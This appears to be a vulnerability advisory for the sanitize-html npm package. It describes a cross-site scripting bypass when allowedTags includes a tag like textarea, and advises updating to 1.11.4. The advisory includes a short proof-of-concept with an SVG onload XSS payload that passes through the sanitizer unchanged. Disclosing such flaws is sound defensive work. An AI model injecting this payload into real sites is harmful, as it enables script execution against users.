Affected versions of sanitize-html
are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag
.
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});
console.log(clean);
// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
Update to version 1.11.4 or later.
CPE | Name | Operator | Version |
---|---|---|---|
sanitize-html | le | 1.11.1 |